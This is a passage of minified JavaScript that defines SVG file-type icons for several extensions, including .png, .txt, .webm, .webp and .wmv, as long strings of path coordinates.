31.882812 44.90625 31.882812 44.886719 31.898438 44.851562 C 31.917969 44.738281 31.957031 44.664062 31.957031 44.53125 L 31.957031 40.386719 C 31.957031 39.789062 31.46875 39.335938 30.867188 39.335938 L 27.136719 39.335938 C 26.554688 39.335938 26.070312 39.789062 26.070312 40.386719 C 26.070312 40.96875 26.554688 41.457031 27.136719 41.457031 L 29.820312 41.457031 L 29.820312 44.023438 C 29.070312 44.457031 28.1875 44.738281 27.25 44.738281 C 25.898438 44.738281 24.71875 44.230469 23.875 43.367188 C 22.992188 42.523438 22.46875 41.382812 22.46875 40.144531 C 22.46875 38.867188 22.992188 37.726562 23.875 36.882812 C 24.71875 36.019531 25.898438 35.511719 27.25 35.511719 C 28.375 35.511719 29.40625 35.90625 30.210938 36.523438 C 30.679688 36.898438 31.375 36.804688 31.730469 36.355469 C 32.085938 35.886719 32.011719 35.195312 31.523438 34.835938 C 30.363281 33.917969 28.84375 33.375 27.25 33.375 C 23.445312 33.375 20.332031 36.375 20.332031 40.144531 C 20.332031 43.894531 23.445312 46.875 27.25 46.875 Z M 40.191406 46.855469 L 40.230469 46.855469 C 40.285156 46.835938 40.324219 46.820312 40.378906 46.820312 C 40.398438 46.800781 40.398438 46.800781 40.417969 46.800781 C 40.472656 46.78125 40.53125 46.726562 40.566406 46.707031 C 40.605469 46.6875 40.605469 46.6875 40.605469 46.6875 L 40.71875 46.59375 C 40.738281 46.574219 40.738281 46.574219 40.753906 46.539062 L 40.847656 46.425781 C 40.867188 46.425781 40.867188 46.425781 40.867188 46.40625 C 40.90625 46.367188 40.925781 46.292969 40.941406 46.257812 L 45.574219 35.304688 C 45.78125 34.800781 45.535156 34.179688 45.011719 33.976562 C 44.503906 33.75 43.886719 33.992188 43.660156 34.519531 L 40.003906 43.199219 L 36.347656 34.519531 C 36.125 33.992188 35.523438 33.75 35.019531 33.976562 C 34.472656 34.179688 34.230469 34.800781 34.457031 35.304688 L 39.050781 46.257812 C 39.085938 46.292969 39.125 46.367188 39.144531 46.40625 C 39.144531 46.425781 39.160156 46.425781 39.160156 46.425781 C 39.179688 46.460938 39.21875 46.5 39.253906 46.539062 C 39.253906 46.574219 39.273438 46.574219 39.273438 46.59375 C 39.332031 46.632812 39.367188 46.648438 39.40625 46.6875 L 39.425781 46.6875 C 39.480469 46.726562 39.554688 46.78125 39.59375 46.800781 L 39.613281 46.800781 C 39.613281 46.800781 39.628906 46.800781 39.628906 46.820312 C 39.667969 46.820312 39.742188 46.835938 39.78125 46.855469 L 39.816406 46.855469 L 39.910156 46.871094 L 40.003906 46.875 C 40.0625 46.875 40.117188 46.875 40.191406 46.855469 Z M 40.191406 46.855469 "/>\n </g>'},pngIcon:{extension:".png",path:'<g id="surface1">\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(99.607843%,99.607843%,99.607843%);fill-opacity:1;" d="M 10.578125 25 L 39.421875 25 C 41.53125 25 43.527344 25.492188 45.3125 26.367188 L 45.3125 15.367188 C 45.3125 13.90625 44.976562 13.097656 43.984375 12.109375 C 42.996094 11.121094 35.105469 3.226562 34.503906 2.628906 C 33.90625 2.027344 33.070312 1.5625 31.617188 1.5625 L 6.5625 1.5625 C 5.527344 1.5625 4.6875 2.402344 4.6875 3.4375 L 4.6875 26.367188 C 6.476562 25.492188 8.472656 25 10.578125 25 "/>\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 34.375 4.710938 L 42.164062 12.5 L 34.515625 12.5 C 34.464844 12.46875 34.414062 12.425781 34.375 12.390625 Z M 6.25 25.722656 L 6.25 3.4375 C 6.25 3.265625 6.390625 3.125 6.5625 3.125 L 31.25 3.125 L 31.25 12.5 C 31.25 13.980469 32.496094 15.210938 33.742188 15.539062 C 33.902344 15.59375 34.074219 15.625 34.257812 15.625 L 43.75 15.625 L 43.75 25.722656 C 44.859375 26.105469 45.910156 26.625 46.875 27.269531 L 46.875 15.363281 C 46.875 13.511719 46.375 12.289062 45.089844 11.003906 L 35.609375 1.523438 C 34.582031 0.496094 33.273438 0 31.617188 0 L 6.5625 0 C 4.667969 0 3.125 1.542969 3.125 3.4375 L 3.125 27.269531 C 4.089844 26.625 5.140625 26.105469 6.25 25.722656 Z M 6.25 25.722656 "/>\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 8.621094 28.125 C 3.859375 28.125 0 31.984375 0 36.742188 L 0 41.378906 C 0 46.140625 3.859375 50 8.621094 50 L 41.378906 50 C 46.140625 50 50 46.140625 50 41.382812 L 50 36.746094 C 50 31.984375 46.140625 28.125 41.382812 28.125 Z M 8.621094 28.125 "/>\n <path style=" stroke:none;fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;" d="M 7.523438 46.875 C 8.105469 46.875 8.574219 46.40625 8.574219 45.84375 L 8.574219 41.773438 L 10.878906 41.773438 C 13.109375 41.773438 14.910156 39.976562 14.910156 37.78125 C 14.910156 35.550781 13.109375 33.75 10.878906 33.75 L 7.523438 33.75 C 6.960938 33.75 6.492188 34.199219 6.492188 34.78125 L 6.492188 45.84375 C 6.492188 46.40625 6.960938 46.875 7.523438 46.875 Z M 10.878906 39.695312 L 8.574219 39.695312 L 8.574219 35.832031 L 10.878906 35.832031 C 11.964844 35.832031 12.808594 36.695312 12.828125 37.78125 C 12.808594 38.832031 11.964844 39.695312 10.878906 39.695312 Z M 26.75 46.875 C 27.3125 46.875 27.78125 46.40625 27.78125 45.84375 L 27.78125 34.949219 C 27.78125 34.40625 27.3125 33.9375 26.75 33.9375 C 26.1875 33.9375 25.738281 34.40625 25.738281 34.949219 L 25.738281 42.675781 L 19.679688 34.292969 C 19.363281 33.84375 18.722656 33.75 18.253906 34.070312 C 17.972656 34.273438 17.824219 34.613281 17.84375 34.929688 L 17.84375 45.84375 C 17.84375 46.40625 18.292969 46.875 18.875 46.875 C 19.417969 46.875 19.886719 46.40625 19.886719 45.84375 L 19.886719 38.0625 L 25.886719 46.386719 C 25.90625 46.425781 25.941406 46.460938 25.980469 46.5 C 26.167969 46.726562 26.449219 46.875 26.75 46.875 Z M 38.082031 46.875 C 39.675781 46.875 41.15625 46.332031 42.339844 45.414062 C 42.527344 45.28125 42.636719 45.132812 42.695312 44.960938 L 42.695312 44.945312 C 42.714844 44.90625 42.714844 44.886719 42.730469 44.851562 C 42.75 44.738281 42.789062 44.664062 42.789062 44.53125 L 42.789062 40.386719 C 42.789062 39.789062 42.300781 39.335938 41.699219 39.335938 L 37.96875 39.335938 C 37.386719 39.335938 36.902344 39.789062 36.902344 40.386719 C 36.902344 40.96875 37.386719 41.457031 37.96875 41.457031 L 40.652344 41.457031 L 40.652344 44.023438 C 39.902344 44.457031 39.019531 44.738281 38.082031 44.738281 C 36.730469 44.738281 35.550781 44.230469 34.707031 43.367188 C 33.824219 42.523438 33.300781 41.382812 33.300781 40.144531 C 33.300781 38.867188 33.824219 37.726562 34.707031 36.882812 C 35.550781 36.019531 36.730469 35.511719 38.082031 35.511719 C 39.207031 35.511719 40.238281 35.90625 41.042969 36.523438 C 41.511719 36.898438 42.207031 36.804688 42.5625 36.355469 C 42.917969 35.886719 42.84375 35.195312 42.355469 34.835938 C 41.195312 33.917969 39.675781 33.375 38.082031 33.375 C 34.277344 33.375 31.164062 36.375 31.164062 40.144531 C 31.164062 43.894531 34.277344 46.875 38.082031 46.875 Z M 38.082031 46.875 "/>\n </g>'},txtIcon:{extension:".txt",path:'<g id="surface1">\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(99.607843%,99.607843%,99.607843%);fill-opacity:1;" d="M 10.578125 25 L 39.421875 25 C 41.53125 25 43.527344 25.492188 45.3125 26.367188 L 45.3125 15.367188 C 45.3125 13.90625 44.976562 13.097656 43.984375 12.109375 C 42.996094 11.121094 35.105469 3.226562 34.503906 2.628906 C 33.90625 2.027344 33.070312 1.5625 31.617188 1.5625 L 6.5625 1.5625 C 5.527344 1.5625 4.6875 2.402344 4.6875 3.4375 L 4.6875 26.367188 C 6.476562 25.492188 8.472656 25 10.578125 25 "/>\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 34.375 4.710938 L 42.164062 12.5 L 34.515625 12.5 C 34.464844 12.46875 34.414062 12.425781 34.375 12.390625 Z M 6.25 25.722656 L 6.25 3.4375 C 6.25 3.265625 6.390625 3.125 6.5625 3.125 L 31.25 3.125 L 31.25 12.5 C 31.25 13.980469 32.496094 15.210938 33.742188 15.539062 C 33.902344 15.59375 34.074219 15.625 34.257812 15.625 L 43.75 15.625 L 43.75 25.722656 C 44.859375 26.105469 45.910156 26.625 46.875 27.269531 L 46.875 15.363281 C 46.875 13.511719 46.375 12.289062 45.089844 11.003906 L 35.609375 1.523438 C 34.582031 0.496094 33.273438 0 31.617188 0 L 6.5625 0 C 4.667969 0 3.125 1.542969 3.125 3.4375 L 3.125 27.269531 C 4.089844 26.625 5.140625 26.105469 6.25 25.722656 Z M 6.25 25.722656 "/>\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 8.621094 28.125 C 3.859375 28.125 0 31.984375 0 36.742188 L 0 41.378906 C 0 46.140625 3.859375 50 8.621094 50 L 41.378906 50 C 46.140625 50 50 46.140625 50 41.382812 L 50 36.746094 C 50 31.984375 46.140625 28.125 41.382812 28.125 Z M 8.621094 28.125 "/>\n <path style=" stroke:none;fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;" d="M 12.847656 46.875 C 13.429688 46.875 13.878906 46.425781 13.878906 45.84375 L 13.878906 35.832031 L 16.859375 35.832031 C 17.421875 35.832031 17.890625 35.34375 17.890625 34.78125 C 17.890625 34.199219 17.421875 33.75 16.859375 33.75 L 8.855469 33.75 C 8.273438 33.75 7.824219 34.199219 7.824219 34.78125 C 7.824219 35.34375 8.273438 35.832031 8.855469 35.832031 L 11.816406 35.832031 L 11.816406 45.84375 C 11.816406 46.425781 12.285156 46.875 12.847656 46.875 Z M 29.019531 46.875 C 29.222656 46.875 29.429688 46.800781 29.617188 46.667969 C 30.085938 46.351562 30.160156 45.695312 29.84375 45.242188 L 26.28125 40.367188 L 29.84375 35.53125 C 30.160156 35.0625 30.085938 34.425781 29.617188 34.105469 C 29.148438 33.75 28.53125 33.84375 28.175781 34.332031 L 25.023438 38.644531 L 21.855469 34.332031 C 21.535156 33.84375 20.878906 33.75 20.429688 34.105469 C 19.960938 34.425781 19.867188 35.0625 20.1875 35.53125 L 23.75 40.367188 L 20.1875 45.242188 C 19.867188 45.695312 19.960938 46.351562 20.429688 46.667969 C 20.597656 46.800781 20.804688 46.875 21.03125 46.875 C 21.347656 46.875 21.648438 46.707031 21.855469 46.445312 L 25.023438 42.113281 L 28.175781 46.445312 C 28.378906 46.707031 28.679688 46.875 29.019531 46.875 Z M 37.464844 46.875 C 38.042969 46.875 38.496094 46.425781 38.496094 45.84375 L 38.496094 35.832031 L 41.476562 35.832031 C 42.039062 35.832031 42.507812 35.34375 42.507812 34.78125 C 42.507812 34.199219 42.039062 33.75 41.476562 33.75 L 33.46875 33.75 C 32.886719 33.75 32.4375 34.199219 32.4375 34.78125 C 32.4375 35.34375 32.886719 35.832031 33.46875 35.832031 L 36.433594 35.832031 L 36.433594 45.84375 C 36.433594 46.425781 36.902344 46.875 37.464844 46.875 Z M 37.464844 46.875 "/>\n </g>'},webmIcon:{extension:".webm",path:'<g id="surface1">\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(99.607843%,99.607843%,99.607843%);fill-opacity:1;" d="M 10.578125 25 L 39.421875 25 C 41.53125 25 43.527344 25.492188 45.3125 26.367188 L 45.3125 15.367188 C 45.3125 13.90625 44.976562 13.097656 43.984375 12.109375 C 42.996094 11.121094 35.105469 3.226562 34.503906 2.628906 C 33.90625 2.027344 33.070312 1.5625 31.617188 1.5625 L 6.5625 1.5625 C 5.527344 1.5625 4.6875 2.402344 4.6875 3.4375 L 4.6875 26.367188 C 6.476562 25.492188 8.472656 25 10.578125 25 "/>\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 34.375 4.710938 L 42.164062 12.5 L 34.515625 12.5 C 34.464844 12.46875 34.414062 12.425781 34.375 12.390625 Z M 6.25 25.722656 L 6.25 3.4375 C 6.25 3.265625 6.390625 3.125 6.5625 3.125 L 31.25 3.125 L 31.25 12.5 C 31.25 13.980469 32.496094 15.210938 33.742188 15.539062 C 33.902344 15.59375 34.074219 15.625 34.257812 15.625 L 43.75 15.625 L 43.75 25.722656 C 44.859375 26.105469 45.910156 26.625 46.875 27.269531 L 46.875 15.363281 C 46.875 13.511719 46.375 12.289062 45.089844 11.003906 L 35.609375 1.523438 C 34.582031 0.496094 33.273438 0 31.617188 0 L 6.5625 0 C 4.667969 0 3.125 1.542969 3.125 3.4375 L 3.125 27.269531 C 4.089844 26.625 5.140625 26.105469 6.25 25.722656 Z M 6.25 25.722656 "/>\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 8.621094 28.125 C 3.859375 28.125 0 31.984375 0 36.742188 L 0 41.378906 C 0 46.140625 3.859375 50 8.621094 50 L 41.378906 50 C 46.140625 50 50 46.140625 50 41.382812 L 50 36.746094 C 50 31.984375 46.140625 28.125 41.382812 28.125 Z M 8.621094 28.125 "/>\n <path style=" stroke:none;fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;" d="M 7.195312 43.734375 L 7.242188 43.734375 C 7.273438 43.71875 7.304688 43.703125 7.367188 43.703125 C 7.367188 43.6875 7.382812 43.6875 7.382812 43.6875 L 7.398438 43.6875 C 7.429688 43.671875 7.476562 43.625 7.523438 43.59375 L 7.554688 43.59375 C 7.585938 43.5625 7.617188 43.53125 7.648438 43.515625 C 7.648438 43.5 7.664062 43.5 7.664062 43.46875 L 7.757812 43.375 C 7.757812 43.375 7.757812 43.359375 7.773438 43.359375 C 7.789062 43.328125 7.820312 43.265625 7.835938 43.21875 L 9.882812 38.375 L 11.929688 43.21875 C 11.945312 43.265625 11.960938 43.328125 11.992188 43.359375 C 11.992188 43.359375 11.992188 43.375 12.023438 43.375 L 12.085938 43.46875 C 12.101562 43.5 12.101562 43.5 12.117188 43.515625 C 12.148438 43.53125 12.179688 43.5625 12.226562 43.59375 L 12.242188 43.59375 C 12.273438 43.625 12.320312 43.671875 12.382812 43.6875 C 12.398438 43.6875 12.398438 43.6875 12.414062 43.703125 C 12.445312 43.703125 12.476562 43.71875 12.523438 43.734375 L 12.570312 43.734375 L 12.640625 43.746094 L 12.710938 43.75 C 12.773438 43.75 12.820312 43.75 12.867188 43.734375 L 12.898438 43.734375 C 12.945312 43.71875 12.992188 43.703125 13.023438 43.703125 C 13.023438 43.6875 13.039062 43.6875 13.039062 43.6875 L 13.054688 43.6875 C 13.117188 43.671875 13.148438 43.625 13.195312 43.59375 L 13.210938 43.59375 C 13.242188 43.5625 13.289062 43.53125 13.320312 43.515625 C 13.320312 43.5 13.335938 43.5 13.335938 43.46875 C 13.367188 43.4375 13.398438 43.40625 13.414062 43.375 C 13.414062 43.375 13.429688 43.359375 13.429688 43.359375 C 13.460938 43.328125 13.492188 43.265625 13.507812 43.21875 L 17.335938 34.109375 C 17.523438 33.6875 17.320312 33.171875 16.898438 33 C 16.445312 32.8125 15.945312 33.015625 15.757812 33.453125 L 12.710938 40.6875 L 10.695312 35.890625 C 10.539062 35.546875 10.210938 35.359375 9.882812 35.359375 C 9.539062 35.359375 9.210938 35.546875 9.070312 35.890625 L 7.054688 40.6875 L 3.992188 33.453125 C 3.820312 33.015625 3.304688 32.8125 2.882812 33 C 2.429688 33.171875 2.242188 33.6875 2.414062 34.109375 L 6.257812 43.21875 C 6.289062 43.265625 6.304688 43.328125 6.335938 43.359375 L 6.335938 43.375 C 6.367188 43.40625 6.382812 43.4375 6.414062 43.46875 C 6.429688 43.5 6.429688 43.5 6.445312 43.515625 C 6.492188 43.53125 6.507812 43.5625 6.554688 43.59375 L 6.570312 43.59375 C 6.601562 43.625 6.664062 43.671875 6.710938 43.6875 C 6.726562 43.6875 6.726562 43.6875 6.742188 43.703125 C 6.773438 43.703125 6.804688 43.71875 6.851562 43.734375 L 6.898438 43.734375 L 6.976562 43.746094 L 7.054688 43.75 C 7.101562 43.75 7.148438 43.75 7.195312 43.734375 Z M 25.179688 43.75 C 25.632812 43.75 26.039062 43.359375 26.039062 42.890625 C 26.039062 42.40625 25.632812 42.015625 25.179688 42.015625 L 20.945312 42.015625 L 20.945312 39.140625 L 24.585938 39.140625 C 25.054688 39.140625 25.445312 38.75 25.445312 38.265625 C 25.445312 37.8125 25.054688 37.40625 24.585938 37.40625 L 20.945312 37.40625 L 20.945312 34.546875 L 25.179688 34.546875 C 25.632812 34.546875 26.039062 34.15625 26.039062 33.671875 C 26.039062 33.1875 25.632812 32.8125 25.179688 32.8125 L 20.070312 32.8125 C 19.585938 32.8125 19.210938 33.1875 19.210938 33.671875 L 19.210938 42.890625 C 19.210938 43.359375 19.585938 43.75 20.070312 43.75 C 20.070312 43.75 20.085938 43.734375 20.085938 43.734375 C 20.085938 43.734375 20.085938 43.75 20.117188 43.75 Z M 31.539062 43.75 C 33.382812 43.75 34.882812 42.25 34.882812 40.390625 C 34.882812 39.203125 34.242188 38.15625 33.304688 37.5625 C 33.679688 37.0625 33.898438 36.453125 33.898438 35.78125 C 33.898438 34.140625 32.570312 32.8125 30.929688 32.8125 L 28.710938 32.8125 C 28.242188 32.8125 27.851562 33.1875 27.851562 33.671875 L 27.851562 42.890625 C 27.851562 43.359375 28.242188 43.75 28.710938 43.75 L 28.757812 43.734375 C 28.757812 43.734375 28.757812 43.75 28.773438 43.75 Z M 30.929688 37.046875 L 29.585938 37.046875 L 29.585938 34.546875 L 30.929688 34.546875 C 31.617188 34.546875 32.164062 35.09375 32.164062 35.78125 C 32.164062 36.46875 31.617188 37.046875 30.929688 37.046875 Z M 31.539062 42.015625 L 29.585938 42.015625 L 29.585938 38.78125 L 31.539062 38.78125 C 32.429688 38.796875 33.148438 39.5 33.148438 40.390625 C 33.148438 41.296875 32.429688 42 31.539062 42.015625 Z M 45.664062 43.75 C 46.132812 43.75 46.539062 43.359375 46.539062 42.890625 L 46.539062 33.671875 C 46.539062 33.269531 46.242188 32.9375 45.859375 32.839844 L 45.664062 32.8125 L 45.648438 32.8125 C 45.367188 32.8125 45.117188 32.9375 44.945312 33.171875 L 41.835938 37.484375 L 38.726562 33.171875 C 38.570312 32.9375 38.289062 32.8125 38.039062 32.8125 L 37.992188 32.8125 C 37.523438 32.8125 37.132812 33.203125 37.132812 33.671875 L 37.132812 42.890625 C 37.132812 43.359375 37.523438 43.75 37.992188 43.75 C 38.476562 43.75 38.867188 43.359375 38.867188 42.890625 L 38.867188 36.3125 L 41.101562 39.4375 C 41.273438 39.671875 41.539062 39.796875 41.820312 39.796875 L 41.851562 39.796875 C 42.132812 39.796875 42.382812 39.671875 42.554688 39.4375 L 44.804688 36.3125 L 44.804688 42.890625 C 44.804688 43.359375 45.179688 43.75 45.664062 43.75 Z M 45.664062 43.75 "/>\n </g>'},webpIcon:{extension:".webp",path:'<g id="surface1">\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(99.607843%,99.607843%,99.607843%);fill-opacity:1;" d="M 10.578125 25 L 39.421875 25 C 41.53125 25 43.527344 25.492188 45.3125 26.367188 L 45.3125 15.367188 C 45.3125 13.90625 44.976562 13.097656 43.984375 12.109375 C 42.996094 11.121094 35.105469 3.226562 34.503906 2.628906 C 33.90625 2.027344 33.070312 1.5625 31.617188 1.5625 L 6.5625 1.5625 C 5.527344 1.5625 4.6875 2.402344 4.6875 3.4375 L 4.6875 26.367188 C 6.476562 25.492188 8.472656 25 10.578125 25 "/>\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 34.375 4.710938 L 42.164062 12.5 L 34.515625 12.5 C 34.464844 12.46875 34.414062 12.425781 34.375 12.390625 Z M 6.25 25.722656 L 6.25 3.4375 C 6.25 3.265625 6.390625 3.125 6.5625 3.125 L 31.25 3.125 L 31.25 12.5 C 31.25 13.980469 32.496094 15.210938 33.742188 15.539062 C 33.902344 15.59375 34.074219 15.625 34.257812 15.625 L 43.75 15.625 L 43.75 25.722656 C 44.859375 26.105469 45.910156 26.625 46.875 27.269531 L 46.875 15.363281 C 46.875 13.511719 46.375 12.289062 45.089844 11.003906 L 35.609375 1.523438 C 34.582031 0.496094 33.273438 0 31.617188 0 L 6.5625 0 C 4.667969 0 3.125 1.542969 3.125 3.4375 L 3.125 27.269531 C 4.089844 26.625 5.140625 26.105469 6.25 25.722656 Z M 6.25 25.722656 "/>\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 8.621094 28.125 C 3.859375 28.125 0 31.984375 0 36.742188 L 0 41.378906 C 0 46.140625 3.859375 50 8.621094 50 L 41.378906 50 C 46.140625 50 50 46.140625 50 41.382812 L 50 36.746094 C 50 31.984375 46.140625 28.125 41.382812 28.125 Z M 8.621094 28.125 "/>\n <path style=" stroke:none;fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;" d="M 9.234375 43.734375 L 9.28125 43.734375 C 9.3125 43.71875 9.34375 43.703125 9.40625 43.703125 L 9.414062 43.6875 C 9.421875 43.6875 9.421875 43.6875 9.4375 43.6875 C 9.46875 43.671875 9.515625 43.625 9.5625 43.59375 L 9.59375 43.59375 C 9.625 43.5625 9.65625 43.53125 9.6875 43.515625 C 9.6875 43.5 9.703125 43.5 9.703125 43.46875 L 9.796875 43.375 C 9.796875 43.375 9.796875 43.359375 9.8125 43.359375 C 9.828125 43.328125 9.859375 43.265625 9.875 43.21875 L 11.921875 38.375 L 13.96875 43.21875 C 13.984375 43.265625 14 43.328125 14.03125 43.359375 C 14.03125 43.359375 14.03125 43.375 14.0625 43.375 L 14.125 43.46875 C 14.140625 43.5 14.140625 43.5 14.15625 43.515625 L 14.203125 43.546875 L 14.265625 43.59375 C 14.265625 43.59375 14.265625 43.59375 14.28125 43.59375 C 14.3125 43.625 14.359375 43.671875 14.421875 43.6875 C 14.4375 43.6875 14.4375 43.6875 14.453125 43.703125 C 14.484375 43.703125 14.515625 43.71875 14.5625 43.734375 L 14.609375 43.734375 L 14.679688 43.746094 L 14.75 43.75 C 14.8125 43.75 14.859375 43.75 14.90625 43.734375 L 14.9375 43.734375 C 14.984375 43.71875 15.03125 43.703125 15.0625 43.703125 C 15.0625 43.6875 15.078125 43.6875 15.078125 43.6875 L 15.09375 43.6875 C 15.15625 43.671875 15.1875 43.625 15.234375 43.59375 L 15.25 43.59375 C 15.28125 43.5625 15.328125 43.53125 15.359375 43.515625 C 15.359375 43.5 15.375 43.5 15.375 43.46875 C 15.40625 43.4375 15.4375 43.40625 15.453125 43.375 L 15.46875 43.359375 C 15.5 43.328125 15.53125 43.265625 15.546875 43.21875 L 19.375 34.109375 C 19.5625 33.6875 19.359375 33.171875 18.9375 33 C 18.484375 32.8125 17.984375 33.015625 17.796875 33.453125 L 14.75 40.6875 L 12.734375 35.890625 C 12.578125 35.546875 12.25 35.359375 11.921875 35.359375 C 11.578125 35.359375 11.25 35.546875 11.109375 35.890625 L 9.09375 40.6875 L 6.03125 33.453125 C 5.859375 33.015625 5.34375 32.8125 4.921875 33 C 4.46875 33.171875 4.28125 33.6875 4.453125 34.109375 L 8.296875 43.21875 C 8.328125 43.265625 8.34375 43.328125 8.375 43.359375 L 8.375 43.375 C 8.40625 43.40625 8.421875 43.4375 8.453125 43.46875 C 8.46875 43.5 8.46875 43.5 8.484375 43.515625 L 8.539062 43.546875 L 8.59375 43.59375 C 8.59375 43.59375 8.59375 43.59375 8.609375 43.59375 C 8.640625 43.625 8.703125 43.671875 8.75 43.6875 C 8.765625 43.6875 8.765625 43.6875 8.78125 43.703125 C 8.8125 43.703125 8.84375 43.71875 8.890625 43.734375 L 8.9375 43.734375 L 9.015625 43.746094 L 9.09375 43.75 C 9.140625 43.75 9.1875 43.75 9.234375 43.734375 Z M 27.21875 43.75 C 27.671875 43.75 28.078125 43.359375 28.078125 42.890625 C 28.078125 42.40625 27.671875 42.015625 27.21875 42.015625 L 22.984375 42.015625 L 22.984375 39.140625 L 26.625 39.140625 C 27.09375 39.140625 27.484375 38.75 27.484375 38.265625 C 27.484375 37.8125 27.09375 37.40625 26.625 37.40625 L 22.984375 37.40625 L 22.984375 34.546875 L 27.21875 34.546875 C 27.671875 34.546875 28.078125 34.15625 28.078125 33.671875 C 28.078125 33.1875 27.671875 32.8125 27.21875 32.8125 L 22.109375 32.8125 C 21.625 32.8125 21.25 33.1875 21.25 33.671875 L 21.25 42.890625 C 21.25 43.359375 21.625 43.75 22.109375 43.75 L 22.125 43.734375 C 22.125 43.734375 22.125 43.75 22.15625 43.75 Z M 33.578125 43.75 C 35.421875 43.75 36.921875 42.25 36.921875 40.390625 C 36.921875 39.203125 36.28125 38.15625 35.34375 37.5625 C 35.71875 37.0625 35.9375 36.453125 35.9375 35.78125 C 35.9375 34.140625 34.609375 32.8125 32.96875 32.8125 L 30.75 32.8125 C 30.28125 32.8125 29.890625 33.1875 29.890625 33.671875 L 29.890625 42.890625 C 29.890625 43.359375 30.28125 43.75 30.75 43.75 C 30.765625 43.75 30.765625 43.734375 30.796875 43.734375 C 30.796875 43.734375 30.796875 43.75 30.8125 43.75 Z M 32.96875 37.046875 L 31.625 37.046875 L 31.625 34.546875 L 32.96875 34.546875 C 33.65625 34.546875 34.203125 35.09375 34.203125 35.78125 C 34.203125 36.46875 33.65625 37.046875 32.96875 37.046875 Z M 33.578125 42.015625 L 31.625 42.015625 L 31.625 38.78125 L 33.578125 38.78125 C 34.46875 38.796875 35.1875 39.5 35.1875 40.390625 C 35.1875 41.296875 34.46875 42 33.578125 42.015625 Z M 40.03125 43.75 C 40.515625 43.75 40.90625 43.359375 40.90625 42.890625 L 40.90625 39.5 L 42.828125 39.5 C 44.6875 39.5 46.1875 38 46.1875 36.171875 C 46.1875 34.3125 44.6875 32.8125 42.828125 32.8125 L 40.03125 32.8125 C 39.5625 32.8125 39.171875 33.1875 39.171875 33.671875 L 39.171875 42.890625 C 39.171875 43.359375 39.5625 43.75 40.03125 43.75 Z M 42.828125 37.765625 L 40.90625 37.765625 L 40.90625 34.546875 L 42.828125 34.546875 C 43.734375 34.546875 44.4375 35.265625 44.453125 36.171875 C 44.4375 37.046875 43.734375 37.765625 42.828125 37.765625 Z M 42.828125 37.765625 "/>\n </g>'},wmvIcon:{extension:".wmv",path:'<g id="surface1">\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(99.607843%,99.607843%,99.607843%);fill-opacity:1;" d="M 10.578125 25 L 39.421875 25 C 41.53125 25 43.527344 25.492188 45.3125 26.367188 L 45.3125 15.367188 C 45.3125 13.90625 44.976562 13.097656 43.984375 12.109375 C 42.996094 11.121094 35.105469 3.226562 34.503906 2.628906 C 33.90625 2.027344 33.070312 1.5625 31.617188 1.5625 L 6.5625 1.5625 C 5.527344 1.5625 4.6875 2.402344 4.6875 3.4375 L 4.6875 26.367188 C 6.476562 25.492188 8.472656 25 10.578125 25 "/>\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 34.375 4.710938 L 42.164062 12.5 L 34.515625 12.5 C 34.464844 12.46875 34.414062 12.425781 34.375 12.390625 Z M 6.25 25.722656 L 6.25 3.4375 C 6.25 3.265625 6.390625 3.125 6.5625 3.125 L 31.25 3.125 L 31.25 12.5 C 31.25 13.980469 32.496094 15.210938 33.742188 15.539062 C 33.902344 15.59375 34.074219 15.625 34.257812 15.625 L 43.75 15.625 L 43.75 25.722656 C 44.859375 26.105469 45.910156 26.625 46.875 27.269531 L 46.875 15.363281 C 46.875 13.511719 46.375 12.289062 45.089844 11.003906 L 35.609375 1.523438 C 34.582031 0.496094 33.273438 0 31.617188 0 L 6.5625 0 C 4.667969 0 3.125 1.542969 3.125 3.4375 L 3.125 27.269531 C 4.089844 26.625 5.140625 26.105469 6.25 25.722656 Z M 6.25 25.722656 "/>\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 8.621094 28.125 C 3.859375 28.125 0 31.984375 0 36.742188 L 0 41.378906 C 0 46.140625 3.859375 50 8.621094 50 L 41.378906 50 C 46.140625 50 50 46.140625 50 41.382812 L 50 36.746094 C 50 31.984375 46.140625 28.125 41.382812 28.125 Z M 8.621094 28.125 "/>\n <path style=" stroke:none;fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;" d="M 8.484375 43.734375 L 8.53125 43.734375 C 8.5625 43.71875 8.59375 43.703125 8.65625 43.703125 L 8.664062 43.6875 C 8.671875 43.6875 8.671875 43.6875 8.6875 43.6875 C 8.71875 43.671875 8.765625 43.625 8.8125 43.59375 L 8.84375 43.59375 C 8.875 43.5625 8.90625 43.53125 8.9375 43.515625 C 8.9375 43.5 8.953125 43.5 8.953125 43.46875 L 9.046875 43.375 C 9.046875 43.375 9.046875 43.359375 9.0625 43.359375 C 9.078125 43.328125 9.109375 43.265625 9.125 43.21875 L 11.171875 38.375 L 13.21875 43.21875 C 13.234375 43.265625 13.25 43.328125 13.28125 43.359375 C 13.28125 43.359375 13.28125 43.375 13.3125 43.375 L 13.375 43.46875 C 13.390625 43.5 13.390625 43.5 13.40625 43.515625 L 13.453125 43.546875 L 13.515625 43.59375 C 13.515625 43.59375 13.515625 43.59375 13.53125 43.59375 C 13.5625 43.625 13.609375 43.671875 13.671875 43.6875 